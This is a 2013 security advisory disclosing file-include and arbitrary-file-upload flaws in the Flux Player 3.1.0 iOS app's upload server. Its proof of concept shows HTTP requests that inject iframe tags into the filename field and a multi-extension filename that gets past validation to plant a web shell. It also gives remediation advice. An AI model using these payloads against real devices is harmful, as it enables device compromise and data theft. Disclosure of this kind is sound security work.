Title:
======
Flux Player v3.1.0 iOS - File Include & Arbitrary File Upload Vulnerability

Date:
=====
2013-07-16


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=1013


VL-ID:
=====
1013


Common Vulnerability Scoring System:
====================================
7.5


Introduction:
=============
With `Flux Player` you can use your iPhone, iPad or iPod touch for download, transfer and playback of movies, 
audio books and music. The movies may be from transferred from commercial services, products or alternatively 
from yourself by drag-and-drop with the free `Flux Transfer` PC application.

(Copy of the Vendor Homepage: https://itunes.apple.com/en/app/flux-player/id324300572 )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered a file include & arbitrary file upload vulnerability in the Flux Player 3.1.0 (Apple iOS - iPad & iPhone).


Report-Timeline:
================
2013-07-16:    Public Disclosure (Vulnerability Laboratory)


Status:
========
Published


Affected Products:
==================
Apple AppStore
Product: Flux Player - Application 3.1.0


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
1.1
A file include web vulnerability is detected in the Flux Player 3.1.0 Application (Apple iOS - iPad & iPhone).
The file include vulnerability allows remote attackers to include (upload) local file or path requests to compromise the application or service.

The vulnerability is located in the upload module when processing to upload files with manipulated names via POST method. The attacker can inject 
local path or files to request context and compromise the device. The validation has a bad side effect which impacts the risk to combine the attack 
with persistent injected script code.

Exploitation of the vulnerability requires no user interaction or privilege flux player application user account. Successful exploitation of the 
vulnerability results in unauthorized local file and path requests to compromise the device or application.

Vulnerable Module(s):
        [+] Upload (Files)

Vulnerable Parameter(s):
        [+] filename 

Affected Module(s):
        [+] Index File Dir Listing



1.2
An arbitrary file upload web vulnerability is detected in the Flux Player 3.1.0 Application (Apple iOS - iPad & iPhone).
The arbitrary file upload issue allows a remote attacker to upload files with multiple extensions to bypass the validation for unauthorized access.

The vulnerability is located in the upload module when processing to upload files with multiple ending extensions. Attackers are able to upload 
a php or js web-shells by renaming the file with multiple extensions. He uploads for example a web-shell with the following name and 
extension picture.jpg.js.php.jpg . He deletes in the request after the upload the jpg to access unauthorized the malicious file (web-shell) to 
compromise the web-server or mobile device.

Exploitation of the vulnerability requires no user interaction or privilege flux player application user account. Successful exploitation of the 
vulnerability results in unauthorized file access because of a compromise after the upload of web-shells.

Vulnerable Module(s):
        [+] Upload (Files)

Vulnerable Parameter(s):
        [+] filename (multiple extensions)

Affected Module(s):
        [+] Index File Dir Listing


Proof of Concept:
=================
The local file include and arbitary file upload vulnerability can be exploited by remote attackers without privilege application 
user account and also without user interaction. For demonstration or reproduce ...


1.1
--- Request Session Log 1 - Local File Include ---

Status: 200[OK]

POST http://localhost:8080/ 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Content Size[1053] Mime 

Type[application/x-unknown-content-type]
   Request Headers:
      Host[localhost:8080]
      
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
      
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
     
Accept-Language[en-US,en;q=0.5]
      Accept-Encoding[gzip, deflate]
     DNT[1]
      
Referer[http://localhost:8080/]
      Connection[keep-alive]
   
Post Data:
      POST_DATA[-----------------------------21961286324572
Content-Disposition: form-data; name="file"; filename=<iframe src=a>"<iframe src=var/app/Mobile>"
Content-Type: image/png
-
--
Status: 200[OK]

GET http://localhost:8080/../var/app/Mobile > [Included File/Path as Filename!]
Load Flags[LOAD_DOCUMENT_URI  ] Content Size[669] Mime Type[application/x-unknown-

content-type]
   Request Headers:
      Host[localhost:8080]
      
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
      
Accept [text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      
Accept-Language[en-US,en;q=0.5]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      
Referer[http://localhost:8080/]
      Connection[keep-alive]
   
Response Headers:
      Accept-Ranges[bytes]
      Content-Length[669]
      Date[Mo., 15 Jul 2013 20:05:02 GMT]



1.2
--- Request Session Log 2 - Arbitrary File Upload ---

Status: 200[OK]

POST http://localhost:8080/ 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Content Size[1053] Mime 

Type[application/x-unknown-content-type]
   Request Headers:
      Host[localhost:8080]
      
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
      
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
     
Accept-Language[en-US,en;q=0.5]
      Accept-Encoding[gzip, deflate]
     DNT[1]
      
Referer[http://localhost:8080/]
      Connection[keep-alive]
   
Post Data:
      POST_DATA[-----------------------------21961286324572
Content-Disposition: form-data; name="file"; filename="schoko-drops-337.gif.html.php.js.jpg"
Content-Type: image/png
---
Status: 200[OK]

GET http://localhost:8080/schoko-drops-337.gif.html.php.js.jpg > [Included File/Path as Filename!]
Load Flags[LOAD_DOCUMENT_URI  ] Content Size[669] Mime Type[application/x-unknown-

content-type]
   Request Headers:
      Host[localhost:8080]
      
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
      
Accept [text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      
Accept-Language[en-US,en;q=0.5]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      
Referer[http://localhost:8080/]
      Connection[keep-alive]
   
Response Headers:
      Accept-Ranges[bytes]
      Content-Length[669]
      Date[Mo., 15 Jul 2013 20:05:05 GMT]




Note: 
After the upload of the manipulated malicious file (shell or web-shell), the remote attacker is able to access the 
full files by a delete of the image file extension. Its also possible to upload a file with multiple file extensions 
and to access with another frame.



PoC:

<html><head><title>Files from </title><style>html {background-color:#eeeeee} body 
{ background-color:#FFFFFF; font-family:Tahoma,Arial,Helvetica,sans-serif; font-

size:18x; margin-left:15%; margin-right:15%; border:3px groove #006600; padding:15px; } </style></head>
<body><h1>Files from </h1><bq>The following files are hosted 

live from the <strong>iPhone's</strong> Docs folder.</bq><p><a href="..">..</a><br>
<a href=".DownloadStatus">.DownloadStatus</a>    (     0.0 Kb, (null))<br>
<a href=".mpdrm">.mpdrm</a>    (     0.0 Kb, (null))<br>
<a href="<iframe src=a>">_<[File Include/Arbitrary File Upload Vulnerability!]"></a>(0.0 Kb, (null))<br />
<a href=">">BKM337></a>    (     0.0 Kb, (null))<br />
<a href="Rem0ve>">Rem0ve></a>    (     0.0 Kb, (null))<br />
<a href="a2b642e7de.jpg">a2b642e7de.jpg</a>    (     0.0 Kb, (null))<br />
</p><form action="" method="post" enctype="multipart/form-data" name="form1" id="form1"><label>upload file
<input type="file" name="file" id="file" /></label><label><input type="submit" name="button" id="button" 
value="Submit" /></label></form></body></html></iframe></a></p></body></html>

Note: 
To exploit the issue the attacker needs to bypass the validation by an inject of 2 different scripts (tags).
After the upload the local file or path gets executed when processing to open the item listing.


Solution:
=========
1.1
The vulnerability can be patched by a secure parse of the filenames when processing to upload via POST method request.
Encode and parse the filename output listing in the index site of the application. Restrict the filename name input and disallow special chars.

1.2
Restrict the input of the filenames when processing to upload a file with multiple extension. 
Encode and parse the filename output listing in the index site of the application. Restrict the filename name input and disallow special chars.
Disallow to open urls with multiple file extensions to prevent execution or access to web-shells.



Risk:
=====
1.1
The security risk of the local file include web vulnerability is estimated as high.

1.2
The security risk of the arbitrary file upload vulnerability is estimated as high(+).


Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com)


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===========
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